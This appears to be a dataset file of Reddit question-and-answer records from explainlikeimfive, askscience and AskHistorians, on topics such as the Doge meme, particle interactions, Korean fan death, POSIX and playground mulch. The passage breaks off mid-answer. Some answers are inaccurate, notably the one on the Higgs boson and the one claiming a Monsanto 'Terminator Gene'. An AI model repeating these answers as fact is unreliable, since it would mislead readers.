{"q_id": "1s0g5d", "title": "doge", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1s0g5d/eli5_doge/", "answers": {"a_id": ["cdsq019", "cdt2ny6"], "score": [3, 6], "text": ["Alternatively, a Doge was a ruler in an Italian area during the Medieval and Rennaisance periods [who wore a funny looking hat](_URL_0_).", "Well you can read the KYM post that /r/Dolphman provided, but sadly I don't feel it answers every implied part of your question.\n\nDoge's odd captions are the way they are because it is basically how we, as humans, assume a dog's think patterns to be: short, misspelled fragments. The \"shibe\" is often photo-shopped into various outfits or situations, then the captions are changed to reflect how a dog would describe, or react to said situations. For example: A \"shibe\" photoshopped into, let's say, a poster advertising a dance club. One of the captions could be \"wow such eletronik\" (\"eletronik\" being a misspelling of \"Electronic\", due to certain dance clubs' taste in music). That leads me into the second part that may puzzle you: \"wow\". Its as simple as the other explanation: dogs seem genuinely surprised or delighted at the simplest things, therefore every situation Doge is in, he says \"wow\" to show his feelings toward the situation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Doge"], []]}
{"q_id": "672dxa", "title": "Are there any particles that don't interact with eachother at all?", "selftext": "The phrase 'particle x _interacts_ with particly y' is often used, and that got me thinking.. Do some combination of particles never interact with one another?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/672dxa/are_there_any_particles_that_dont_interact_with/", "answers": {"a_id": ["dgn45g9", "dgoqg43", "dgow90o"], "score": [94, 2, 3], "text": ["If by nothing else, all particles must interact with one another via gravity.\n\nBut forgetting about that, you can find specific combinations of particles in the standard model which do not directly couple to one another. For example neutrinos do not couple to photons.", "One simple example is that photons don't interact with each other. You can shoot two beams of photons at each other and you'll never get one to scatter off the other. You do get constructive/destructive interference. But I think it's fair to say that's not exactly the same as the particles interacting.", "How \"at all\" are we talking here? Planck-length? Trillionths of a billionth of a second? \n\nThere are processes all around you that are so instantaneous and brief in their conception, execution, and termination that it's hard to say if it occurred at all.\n\nTake, for example, the [Higgs Boson](_URL_0_).\n\nThese particles are of fundamental order and don't really \"exist\" as a particle until circumstances essentially condensate them (like rain from a cloud) into being for almost undetectable periods of time. Otherwise, they are as more of a wave field of probable influence.\n\nThey don't typically interact though, they just... are. The larger particles they aid the composition of interact, but they themselves are an expression of the attenuated resonant vibrations that make up reality, and have influence upon it in an ascribed manner. \n\nThe LHC excels at their capacity to burp these particles into being in such a way that we can find them. In fact, prior to the LHC, the concept of the Higgs Boson was met with ridicule and scoffed at by some scientific communities because it was considered a sort of particle based \"Snipe Hunt\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Higgs_boson#Particle_physics"]]}
{"q_id": "ioxi6", "title": "How do we learn and how can we learn better?", "selftext": "I am a programmer. As one, it is rather difficult dealing with the flood of technology changes. For example, my primary focus is web development and I am currently trying to master ruby on rails et al, ECMA5, jquery, html5, css3, c# et al and mobile browsers(esp. webkit).\n\nHow could I better tackle such a large and ever-changing list of topics?\n\n\n**tl;dr** - I'm interested in feedback on [my thoughts on how we learn](_URL_0_) and how we can learn faster.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ioxi6/how_do_we_learn_and_how_can_we_learn_better/", "answers": {"a_id": ["c25h9k9", "c25huc5"], "score": [2, 2], "text": ["I would say you have to find what works best for yourself and go from their. Everyone learns at a different pace and everyone learns differently. \n\nYou have obviously gotten through some sort of post-secondary school so you should know what works best for yourself. ", "The only thing I learned in college was how to learn. That is to say, we all learn differently, and only by the struggle of doing so - again and again - do we learn our own rhythms, and personalize our tactics for tackling the next project.\n\nFor me it boiled down to stocking dry erase markers by the windows and mirrors, and managing caffeine levels."]}, "title_urls": [], "selftext_urls": ["http://soar.es/learning.html"], "answers_urls": [[], []]}
{"q_id": "9vh3pz", "title": "how do they make round up ready seeds?", "selftext": "Round up ready seeds are sterile in nature. Meaning their crops cannot produce offspring seeds. So how does MonSanto produce new generation seeds?\n\n & #x200B;\n\nIt's patented so the methods should be publicly available or?\n\n & #x200B;\n\n & #x200B;", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9vh3pz/eli5_how_do_they_make_round_up_ready_seeds/", "answers": {"a_id": ["e9c8l1k", "e9c9wvb"], "score": [7, 5], "text": ["The premise to your question is incorrect. Roundup ready seeds are not sterile. Here\u2019s a useful website describing the facts behind this technology. \n\n_URL_0_\n\n", "Monsanto, owner of Round Up, doesn't use any technique to make the plants sterile from the seed lines.\n\nMostly they don't do this because they don't have to. Modern farmers don't want to waste time separating seeds from their plants for next season. To do that they would need to not sell their whole crop and instead recover seeds from some of it. Instead they can sell that part of the crop for more than it cost to buy new seeds. Why? Because seed companies like Monsanto can make seeds for cheaper than farmers, because they a whole company set up to do that.\n\nBut, to answer your question of how do you do it. There are a two ways. One is a technology that Monsanto owns called Terminator Gene. Basically Monsanto knows how to actually edit the genes of plants to make the seeds sterile. Again, they don't do it because they don't need to.\n\nThe other is much harder and takes a long time. Basically you create a new plant and you grow a full crop of it. Then you take seeds from half the crop and grow them in one green house and the other half in the other. You keep doing this over and over and over. Never letting one set of plants breed with the other. Eventually there is enough genetic drift between the two groups that when you do crossbreed them they produce sterile offspring, but still a plant that produces decent grain or vegetables. It takes years, a lot of effort, and is only mildly successful."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://gmo.geneticliteracyproject.org/FAQ/whats-controversy-gmos-terminator-seeds/"], []]}
{"q_id": "1jv0e1", "title": "Why did a Roman emperor (Caligula) declare war on a Greek god (Poseidon)?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1jv0e1/why_did_a_roman_emperor_caligula_declare_war_on_a/", "answers": {"a_id": ["cbiln4j"], "score": [4], "text": ["I think wherever you encountered the story, the person just used the name Poseidon rather than the name Neptune. They weren't regarded as different gods. The story is often told using the name \"Neptune\".\n\nI checked the sections on the shells in Suetonius and Cassius Dio with the intent of checking the Latin, but it looks like neither actually specifies Neptune/Poseidon, but rather the ocean."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "22r4od", "title": "that \"today felt like a thursday\" feeling", "selftext": "Usually near the end of the day, sometimes you look back and realize today didn't actually feel like the correct day of the week. Why do we get that feeling? And also, why do other people around us (whether it's coworkers, friends, etc.) tend to feel the same way?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22r4od/eli5_that_today_felt_like_a_thursday_feeling/", "answers": {"a_id": ["cgpkhba"], "score": [2], "text": ["Because we get used to certain things happening on certain days.\n\nOn monday, you expect a lot of coffee and people talking about their weekend, on wednesday people talk about \"happy humpday\" and on Friday you expect to here \"3 hours until the weekend\" and people's plans.\n\nSo if it's Thursday, and people say \"I'm going to a party tonight\" or \" I can't wait, we're headed out after work\" then you start to think \"Hey, fun stuff, it must be Friday\" and then when you realize it's thursday you go \"Hmm, it didn't feel like a Thursday\" it can also happen when you get a day off in the middle of the week."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1pdqz0", "title": "where did the notion of korean fan-death come from, and why do they still believe it?", "selftext": "Saw a smaller explanation in the comment thread of another ELI5, and it got me interested.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1pdqz0/eli5_where_did_the_notion_of_korean_fandeath_come/", "answers": {"a_id": ["cd1aalx", "cd1ao1q", "cd1azij", "cd1ck8k", "cd1fxjz", "cd1hp38", "cd1vw40"], "score": [3, 2, 17, 38, 10, 7, 2], "text": ["Nobody is all that sure where or exactly how it originated, but weird cultural beliefs that are quite obviously wrong are hardly peculiar to Korea.  After all, look at the number of westerners who firmly believe in homeopathy.  All cultures have their own bizarre and indefensible beliefs... ", "People still believe it because superstition does not die easily. Where it originated is unclear. One theory that I've heard is that it was (possibly government) propaganda to reduce energy consumption during a time in Korean history when high electricity usage was an infrastructure issue, not just an environmental issue. I am inclined to believe that the notion evolved from the carbon monoxide poisoning that results from leaving a gas-powered motor (like a car or a generator) running.", "The myth started some decades ago when a few people were found dead with no obvious cause of death. They did, however, happen to have slept with the fan on, so the media started a story about how sleeping with a fan on can kill you.\n\nSome people think the government encouraged this idea because S.Korea had an energy problem back then. (As an aside, Korea has an energy problem again because a few of its nuclear reactors were taken offline after reaching their designed life time and the government's idea of privatizing the energy industry backfired big time.)\n\nLike any myth, it persists because everyone in the locality believes it without question.", "I always heard that fan death became a thing after several people were found dead under mysterious circumstances. The fans were blamed to preserve family honor, but many of the deaths were suicides. Suicides are still commonly covered up as fan deaths. ", "I've lived in Korea, and one of the things I heard is that it's a convenient cover story for the family to give when somebody dies in a more dishonorable way, i.e. suicide.", "I think there are many things that contribute to it being part of the cultural imagination. In Korea the standard heating system is radiant floor heating. In the olden days it was coal braziers under the floorboards of wooden buildings (which are raised off the ground), then in the 1970s there were attempts to use coal burning heaters in multi-floor buildings, leading to many deaths from the fumes [ref](_URL_1_). So this is in the collective memory, the idea that you can be poisoned by the air in your home in your sleep. There have also been lots of scandals around unscrupulous builders using toxic levels of formaldehyde etc. in new building construction, to the point that there is a term for it, 'sick building syndrome' [ref](_URL_0_). So there is a lot of paranoia around air quality indoors, which feeds into the fan-death idea. Add on to that Asian ideas around wind, climate, and air and how they affect human health (don't even know where to start with a reference to that.. lots of references in Traditional Chinese Medicine), and baby you got a superstition goin'. ", "I always though Korean Fan Death would be a good name for a band."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://en.wikipedia.org/wiki/Sick_building_syndrome", "http://en.wikipedia.org/wiki/Underfloor_heating"], []]}
{"q_id": "120uug", "title": "I recently learned that Queen Anne had numerous miscarriages and stillborn children, and a few who lived for just a few years. Would this have created stigma for the Queen? ", "selftext": "I would also be interested to learn about wider connotations: would she have been considered an unsuitable Queen? Or linked with witchcraft or suchlike? Would it affect her standing with nobility or governments within Europe? \n\n_URL_0_", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/120uug/i_recently_learned_that_queen_anne_had_numerous/", "answers": {"a_id": ["c6rbp61", "c6rh602"], "score": [13, 3], "text": ["There were instances of heirs to the throne dying throughout English history, that much is well known. More specifically within the Tudors;\n\nHenry VIII, and his notorious six wives exemplify this. Katherine of Aragorn, his first wife who initially was married to his now-late older brother, Arthur, had 7 children, and only 1 lived to adult hood (Mary). No healthy male heirs. The King, using the justification in the book of Leviticus, said his marriage was cursed and eventually went on to create the church of England in order to divorce Katherine and marry his new fancy, Anne Boleyn. Anne had 1 girl, the famed Elizabeth, and then miscarried late into a second pregnancy a deformed fetus that was obviously male. Henry still believed himself cursed, and had her executed for treason (and witchcraft). In this instance, when there is no male heir to the throne, and coming out of a tumultuous War of the Roses and also the Protestant Reformation, the security of the realm is quite contested and important. People know when there is no heir, and that makes a huge difference. Henry even has parliament declare both Mary and Elizabeth a bastard through law, but reinstates them shortly before his death. The \"Kings Great Matter\" as it came to be called indeed represents the amount of turmoil failing to produce an heir can create.\n\nSimilarly, during Mary's reign in 1553 - 1558, she was 37 when she came to the throne, well beyond child-bearing age of the time. Yet she had two \"faux\" pregnencies. Likely faked, or imagined, because she desperately wanted a successor to prevent her Protestant Sister Elizabeth from undoing her Catholic reforms. These pregnancies were very much a hot bed of public speculation, because it would decide the future of the country - a catholic succession, versus a protestant one under the next-in-line. The second \"pregnancy\" interestingly came after her Husband, King Philip II of Spain hadn't been in England for months, showing how dire she was to secure her legacy. \n\nThat being said, Elizabeth, who came to the throne in Nov. of 1558, never had an heir. And because of this, the realm was embroiled in a perpetual succession crisis, fearing an assassins, and the weak health of the Queen, and also wondering who would succeed her. While slightly off topic in terms of births, it never the less revealed the amount of attention that was paid to the succession by the common people.\n\n", "The thesis that witchcraft leads to miscarriage was originally proposed by Retha Warnicke's [Rise and fall of Anne Boleyn](_URL_0_).  Warnicke was then eviscerated by George Bernard and Eric Ives in a series of articles in the English Historical Review, displaying the bitchiest (and most entertaining) side of Tudor academia I've ever read, pointing out that there's absolutely no historical evidence for her assertion.  Anyone wanting a great example of how history is done (and fought) should read the exchanges.\n\nSo no witchcraft link at least ;)\n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Anne,_Queen_of_Great_Britain#Issue"], "answers_urls": [[], ["http://www.amazon.co.uk/Rise-Fall-Anne-Boleyn-Politics/dp/0521406773"]]}
{"q_id": "f3dtnp", "title": "why does copper repel strong magnets?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f3dtnp/eli5_why_does_copper_repel_strong_magnets/", "answers": {"a_id": ["fhi38ud", "fhi4jaj"], "score": [102, 6], "text": ["Copper isn't magnetic but it is conductive\n\nWhen the magnet approaches it creates a changing magnetic field in the copper, this induces current to flow, and this current flow creates its own magnetic field which pushed back and slows down the magnet\n\nWhen the magnet slows down it creates less current and when it finally stops there's a constant field in the copper so no current is created so there is no magnetic interaction between the copper and the magnet", "Induced electrical currents also cause a magnetic field of their own.  This second field slows down/stops the magnet.\n\nSo as the pendulum magnet moves quickly towards the copper plate the moving magnetic field creates (induces) a small electrical charge in the copper plate.  This charge has its own magnetic field at an angle to the magnetic field of the pendulum magnet.  As the strength of the magnetic field density increases due to its rapid approach to the plate so does the electric charge and the charge's magnetic field.  Once the magnet stops moving the induced field dissipates and the magnet moves away slowly.   There is still a charge there but the speed of the magnetic field moving is lower and the charge is much smaller showing a negligible effect.\n\nThis induced current is where the work goes in an electric generator as the electrons move about the system."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2jop11", "title": "why does the u.s. government have a patent on ebola?", "selftext": "Patent No. is CA2741523A1\n\nIs the Ebola strain they patented different then the one being talked about now? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2jop11/eli5_why_does_the_us_government_have_a_patent_on/", "answers": {"a_id": ["cldnntu", "cldpxw6", "cldr7lh"], "score": [87, 18, 5], "text": ["They used to patent all sorts of things of this type before the courts placed significant restrictions on the patenting of lifeforms.  The idea was to patent them before private corporations did so, enabling researchers to work on those genomes without legal difficulties (or having to pay for the right to do research).  Of course, they never expected that this would some day play into the hands of conspiracy theorists.  Then again, **everything** that happens can constitute evidence in favour of a conspiracy, if that's how your mind is predisposed.\n\nedit:  [here is a quick search](_URL_0_) showing at least 1800 patents applied for by CDC.  They also applied for many others under slight variations of that name (such as 'center' as opposed to 'centers'), as you can find by playing with the search terms.  Also, there are even more under the names of CDC employees.  They have *a lot* of patents.", "According to the tens of thousands of followers on the facebook page \"I love being black\"  it is about population control of blacks.", "CA2741523A1 isn't a patent number.  It's a Canadian application number. There is a corresponding U.S. application, however, it has not issued into  patent."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.google.com/search?tbo=p&amp;tbm=pts&amp;hl=en&amp;q=inassignee:\"The+Government+Of+The+United+States+Of+America+As+Represented+By+The+Sec+Retary,+Department+Of+Health+%26+Human+Services,+Center+For+Disease+Contro\"&amp;gws_rd=ssl#safe=off&amp;hl=en&amp;tbm=pts&amp;q=inassignee%3A%22Centers+For+Disease+Control%22"], [], []]}
{"q_id": "b8raau", "title": "people often say that \u201ctoday\u2019s smartphones are more powerful than the technology we sent people to the moon with\u201d. but how is this \u201cpower\u201d quantified?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b8raau/eli5_people_often_say_that_todays_smartphones_are/", "answers": {"a_id": ["ejzng0b", "ejzo8wm", "ejzokzg", "ejzolwu"], "score": [6, 4, 5, 6], "text": ["Compute power.  Ie how many Math operations the CPU can do per second.  FLOPs is a common but somewhat meaningless metric for performance.  It means floating point operations per second.  Which is basically decimal math.  ", "People usually use metrics like FLOPS (Floating Point Operations Per Second), processor clock speed, and memory.\n\nFor comparison, the Apollo Guidance Computer had a 2.048 MHz clock, and 2048 words (4KB) of RAM. The iPhone 4 had an 800MHz clock and 512MB of RAM. ", "Well keeping it ELI5 it's measured in different ways but it all comes down to how much work a computer can get done in a given time frame. Better computers can of course do more calculations in the same amount or less time than an older one. So yeah today's smartphones absolutely trounce what NASA was working with during the space race. That honestly also work in their favor since they were using such simple computers they were actually extremely reliable which is what you want for space travel. To put it into perspective, one ways to measure computer performance is how many instructions it can execute per second. The computers used during the space race could do  hundreds of thousands per second. A modern computer or smartphone is capable of billions of instructions per second.", "The computers on Apollo were very basic, but very specifically optimized. Your smart phone could easily do every calculation used to get to the moon and much more easily.\n\nHowever, the key thing Apollo had that a phone does not is rocket power and life support."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "vuj7d", "title": "Could planets form in the accretion disk around a black hole? If so, could they be spotted by the wobble of a gravitational lens?", "selftext": "I discussed this briefly with Ray Jayawardhana, an astronomer and planet hunter at University of Toronto, a few years ago and he had doubts... but he also had a million things on the go and could not spare more than a moment on the thought experiment.\n\nI am looking forward to hearing what the reddit community has to say on the matter!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vuj7d/could_planets_form_in_the_accretion_disk_around_a/", "answers": {"a_id": ["c57qwlf", "c57r2an", "c57rp6u", "c580ajj"], "score": [2, 9, 7, 2], "text": ["I doubt it also.  I would think that there would be too much infalling material for a stable planet to form.  Even if you managed to form planetesimals, I don't think they would be able to clear out any reasonable fraction of the disk due to its being replenished by new material.  But with that said, we currently don't know very much about planet formation, so who knows?", "An accretion disk is when the material falling in is compressed to the point of emitting electromagnetic radiation. I don't think any respectable sized planet could avoid being sheared apart by gravitational forces at that point.", "A question.  In a broad sense, isn't that what a galaxy is?", "This is an area of active research. Star (and planet) formation was long thought to be impossible inside the accretion disk of supermassive black holes (SMBHs), but we have seen a large, coherent population of stars orbiting Sgr A*, the Milky Way's SMBH. People have cooked up a number of alternative explanations over the years, but I do not think in situ (which is to say around the hole) formation has been ruled out. Not sure what the research looks like around stellar mass black holes -- their accretion disks are very low mass, so likely would not form bodies. Has to do with the surface density of the disk -- check out Toomre Q if you are really interested.\n\nBut, honestly, I don't think that's the problem. The problem is the gravitational lens part. The bulk of the light from around a hole is from the accretion disk itself; teasing out gravitational effects is very, very difficult, as the messy dynamics of the disk are hard to model. The light bending effect of a planet would be so small as to be swamped by variations in the dynamical state of the disk, I would strongly suspect. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3a0lsa", "title": "Why do sheets of glass stick together?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3a0lsa/why_do_sheets_of_glass_stick_together/", "answers": {"a_id": ["cs8776j", "cs8b185", "cs8jkzq", "cs94vzw"], "score": [37, 2, 2, 2], "text": ["I assume you are talking about the following phenomenon. When two almost perfectly flat slabs of glass are placed, one on top of the other, separating them takes what seems like much more force than should be necessary. They seem to be stuck together.\n\nWhen the top piece of glass is placed on the bottom piece, most of the air between them is expelled. This is because the glass is near flawless and almost perfectly flat. So you can think of the very tiny space between the two pieces of glass as an approximate vacuum. So now if the two pieces of glass are lying on a table, lifting the top piece of glass requires overcoming both its weight and the total force due to the difference in air pressure. (Pressure is force per unit area, so larger pieces of glass will require a larger force, independently of their mass.)\n\nOnce you make even a tiny separation, you suddenly feel that further separation is much easier. That's because once there is a small enough space between the glass, air rushes in to fill it. So you no longer have to overcome the force due to the difference in air pressure. If you listen carefully, you can actually hear the air rush in.\n\nThis effect is very similar to why a suction cup sticks to a wall, particularly if the wall is free or almost free of flaws (like bathroom ceramic tile).", "This is called [Optical Contacting](_URL_0_) and is the result of intermolecular forces.  It requires the two sheets of glass to be the same shape to better than 1nm.\n\nThe effect you're observing if you're using regular sheets of float glass from the hardware store (which are not smooth enough to optically contact)  is likely due to the suction effect described by /u/Midtek.", "Wow I thought as a glass expert I could add something but below are exacting comments so I suppose I can add this; \n\nWhen receiving large stote glass (meaning very large glass from the float plant) the glasslites within the crate are coated very lightly with basic talcum powder... baby powder for baby butts. Reasoning is that within the crate there may be 20-30-50 glasslites or myriad variety of thickness and size but the talcum powder allows automated suckers to grab onto the glasslites within the crate and pull them individually then flop them down onto the first cutting table. \n\nNo medical advice herein contained! \n\nYou folks below seem to be pretty darn smart... glass in its myriad forms is a wondrous substance and I was thinking one day to do an AMA as an international expert of architectural glass and I might just do it! Buildings of glass all over the planet and most mundane and some mighty nice then there are a few spectacular... but not the glass or metal of interest... it is the folks who actually dream up and design and engineer and then the dirty men (and yes sometimes slaves of MENA) of the jobsite who install... those are the best stories!", "In addition to the other phenomena mentioned here there can be some hydrogen bonding between the surfaces of the glass, exposed atomic bonds can react with water in the air to form hydroxyl groups (OH) that are polar. If an OH group approaches an exposed oxygen on an opposing surface it can form a hydrogen bond. There is also a substantial amount of water in most glass that can contribute as well.\n\nThis is molecularly attached water so even though the surface is 'dry' it is still there.\n\nSi-O......HO-Si"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Optical_contact_bonding"], [], []]}
{"q_id": "1ne5v2", "title": "why do numbers never end?", "selftext": "My 5 year old niece asked me this question today. I didn't have an answer for her. Explain it to me like I'm 5, so I can explain it to her!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ne5v2/eli5_why_do_numbers_never_end/", "answers": {"a_id": ["cchqhcv", "cchsnts"], "score": [6, 2], "text": ["However big a number your niece can think of, you can always add 1 to it.\n\nIn fact, even if a very clever person thinks of the biggest number they can possibly imagine, it would still be possible to add 1 to that number too. You can always add 1 to every number to get an even bigger number.", "There are already some good answers to this, but I'd like to fill in a bit of philosophy, if you don't mind. \n\nNumbers are mathematical objects, not actual physical objects. You wouldn't be able to show me a two. You could show me the numeral, but that's just a way we represent two. Maybe you could show me two of something, but that's just another representation.\n\nThe way mathematicians talk about numbers (well, when they need to prove very fundamental things about numbers) they use what are called axioms. Axioms are some basic statements about mathematical objects that are taken to be true (they can be reasoned out, but they can't be rigorously proven to be true because there's no framework to do so), they're the foundation of that object. But how do we come up with mathematical objects? One way to look at axioms is as the properties you *want* the object to have. We take numbers to be some sort of way of looking at counting things in a mathematical way. We can also take an operator, which we call addition, to be what happens when you put groups of objects together. If I have a pile of five objects, and a pile of three objects, then put the piles together, I will have 5+3=8 objects in total.\n\nSo what properties will we want these numbers to have? An important one is something called closure (specifically, closure over addition). Numbers (in math-speak, the natural numbers) are \"closed over addition\", this means that if I add any two numbers together I will get another number. This is important, because if I have two piles of objects that have a countable value, when I put them together the new pile will too.\n\nThis can be stated formally as something like this: For all numbers a and b, there is a number c such that a+b=c.\n\nUsing this framework, we can work a proof something like this:\n\n- There is a number we call 1 (we often take as an axiom the existence of this number. We can prove that it is greater than zero)\n- For all numbers a and b (where b is not zero), a+b  >  a (and this is provable on other axioms)\n\nNow we want to prove that for all numbers a, there is a number b such that b > a (that is, for every number, there is another number that is greater than it).\n\nThe first thing we do is pretend we're given a number, we will call it a. We don't give a value to it because we want to give instructions on how to find a larger number no matter what the number actually is.\n\nWe also know that a+b > a as long as b isn't zero. We know of this number one which is greater than zero, so it must be true that a+1 > a.\n\nAnd that's what we're trying to prove, there is a number greater than a, and it is a+1.\n\nThere you have it: no matter what number you think is the largest, there is another number larger than it (and we even have a formula for finding it (well, one of them)\u2014often a proof of existence won't make it so easy to find). This means there is no largest number, so they must go on forever."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "cpa0cy", "title": "how does philosophy progress, as a field, if the theories can't be empirically tested?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cpa0cy/eli5_how_does_philosophy_progress_as_a_field_if/", "answers": {"a_id": ["ewo2b5t", "ewo3vst", "ewo5nkr", "ewo8ii0", "ewocfeq", "ewpa2ft"], "score": [41, 7, 3, 2, 3, 2], "text": ["Philosophy is about the questions, not the answers. You could theorize an answer for a previous question and ask new questions with that premise.\nEdit: philosophy was not always that way. It is the root of all sciences, like math, phisics, biology, etc. Different philosophers used to specialize in different fields. It was all philosophy. So there are answers to some of the questions. But it became more and more abstract over the years. But the same happen to math. Advanced math is very very abstract.", "Because it doesn't (usually) ask empirical questions. There are other ways for an academic discipline to advance - older ideas are expanded upon and modified. Though a better answer might be that it doesn't, not in the way that you're thinking of. Old science becomes obsolete. Old philosophy (with the exception of some metaphysical stuff and anything that can be resolved by neuroscience, though the degree to which neuroscience is a fix-all is overstated) remains good philosophy.", "It doesn\u2019t.\n\nHence the Hitchhiker\u2019s Guide satire is point on. If all the philosophers went on strike, no one would care.", "Approximately, by people writing more and more books, in any field, irreversible changes are about the traces you leave on the world, not about whether you are right right now; we leave behind our pollution and our pet animals as much as our solutions to problems.\n\nSo if you get into the habit of analysing and comparing what old philosophers said, you create a process that keeps drawing out a wider and wider net, including more and more philosophers, comparing their arguments etc. and trying to make sure it's all recorded.\n\nSo as a first approximation, philosophy doesn't progress so much as expand. But that still means that whenever someone comes up with a new idea now, a hundred philosophers specialising in different fields in the history of thought can leap on it and point out various arguments and counter-arguments that have been made on it, assessments of it's plausibility, ethical implications, history of application and so on.\n\nYou can be like \"this is just some cool idea I had? I didn't think about all that??\" and then some philosopher can start asking you sneaky questions and prove you do actually think the same as some 5th century monk, so long as you mix it with this 20th century guy, using some 17th century guy's methods....", "It progresses using the same method as other academic disciplines. The best stuff gets past blind peer review and submitted to journals. Everyone is motivated to find flaws in published work so they nit pick any issues with the findings. \n\nOver time the best arguments/findings survive at the top unless there is a paradigm shift and the discipline has to give up a fundamental assumption. \n\nThat\u2019s why modern epistemology has coherentism, there are non classical logics, philosophy of mind has slipped into philosophy of AI and others. \n\nLike other disciplines there is great progress within certain areas without it being obvious wether we get an answer to the ultimate questions in those areas. The thing that makes philosophy philosophy is the willingness to accept a compelling argument based on a mixture of empirical findings and / or what they claims imply. \n\nRelated: Your question is an excellent one. But it does assume that an empirical result decides between competing theories. This is true for some experiments but a lot of scientific work requires interpreting observation as well as slowly amassing evidence. Empiricism never takes place in a theoretical vacuum. So it\u2019s not the case that science is all observation and philosophy is all theory. It\u2019s more of a tilting balance. \n\nHappy to discuss more!", "Philosophy is not about answering questions but about solid reasoning. As long as your premises are known and your reasoning solid, it doesn't matter if the theory is true."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "8cd7ho", "title": "why do they use wood chips in playgrounds and around swings? isn't that just a recipe for splinters and injuries compared to sand or rubber?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8cd7ho/eli5_why_do_they_use_wood_chips_in_playgrounds/", "answers": {"a_id": ["dxe1gbu", "dxe2896", "dxe8of1"], "score": [30, 20, 7], "text": ["They're soft *enough*, and they're a whole lot cheaper than sand and rubber. Also much easier to replace/maintain, and they look more natural than some other solutions.", "Wood chips for a city/county owned park is almost free. Most cities/counties own or subcontract with tree trimming services to clear the trees from government owned areas.\n\nPeople have allergies to latex, and rubber degrades with exposure to sunlight. Like a balloon or rubber band. Stabilized rubber like [chopped up tires](_URL_0_) is occasionally used, but shredded tires can smell bad, tires contain heavy metals and crude oil solids which may be toxic to children.\n\nSand or small gravel can work if it's at least 12\" thick, but that can also create issues for people with disabilities, and in some jurisdictions can violate ADA-like laws unless solid pathways are made.", "Just did one up for my kids. \"Certified playground mulch\" is a thing.\n\n[Wood chips and double shredded bark mulch layered at depths ranging from 6 to 12 inches aid in helping prevent life-threatening head injuries. Both types of covering have better shock absorption than fine sand and fine gravel at the 9- and 12-inch depths.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.amazon.com/Rubberific-Rubber-Mulch-Bagged-Brown/dp/B000KZNMM8"], ["http://homeguides.sfgate.com/kind-mulch-put-childrens-playground-94969.html"]]}
{"q_id": "7cuxt0", "title": "what is posix in programming?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7cuxt0/eli5_what_is_posix_in_programming/", "answers": {"a_id": ["dpsu0sv", "dpsu5s9", "dpsuwco", "dpt67eo"], "score": [6, 8, 3, 3], "text": ["POSIX is an underlying standard of UNIX systems like Linux and FreeBSD etc. \n\nIf you make your program POSIX compliant then it can run on all POSIX compliant systems (perhaps with a few changes, but easily portable).", "POSIX is the Portable Operating System Interface standard and is written by the Austin Group (which has members from the ISO, IEEE, and The Open Group).\n\nIt is a standard specifying how certain things about an operating system should work, such as how the shell (the program that handles your input on a command line interface) operates, certain utility programs that need to be included (and how they work), how programs interact with the operating system for accessing files or networks, etc.\n\nUNIXes, like AIX, HP-UX, Solaris, MacOS, etc. are examples of POSIX-compliant operating systems.\n\nUnix-like operating systems like Linux and BSD also generally comply with POSIX.", "POSIX is a standard that describes a number of conventions for laying out and interacting with an OS. Most UNIX and UNIX derived OS are POSIX compliant to a degree including Linux, BSD, MacOSX and Andorid. Windows used to be POSIX compliant (at least to the core part of it) back in the days of Windows-NT and there are still add-ons that you can install today to make them regain that.\n\nThere are a number of different levels and categories to the standard and there are ways to get certified to conform to those standards. Actual 100% compliance and certification is rare however.\n\nThe term sometimes gets used to simply mean any UNIX like OS without specific regard to compliance with the standards.", "Back In The Day, you had Unix, and it was good.  During the 80s, however, every company was making their own version of Unix and they were all different.  Not only did you have two major branches of Unix (the BSD and SysV versions) but even among the BSD  &  SysV branches, each vendor had subtle differences.\n\nThe was a major pain in the ass for anyone trying to write \"unix software\".\n\nEventually, they managed to herd the cats together and develop a single baseline standard of how all 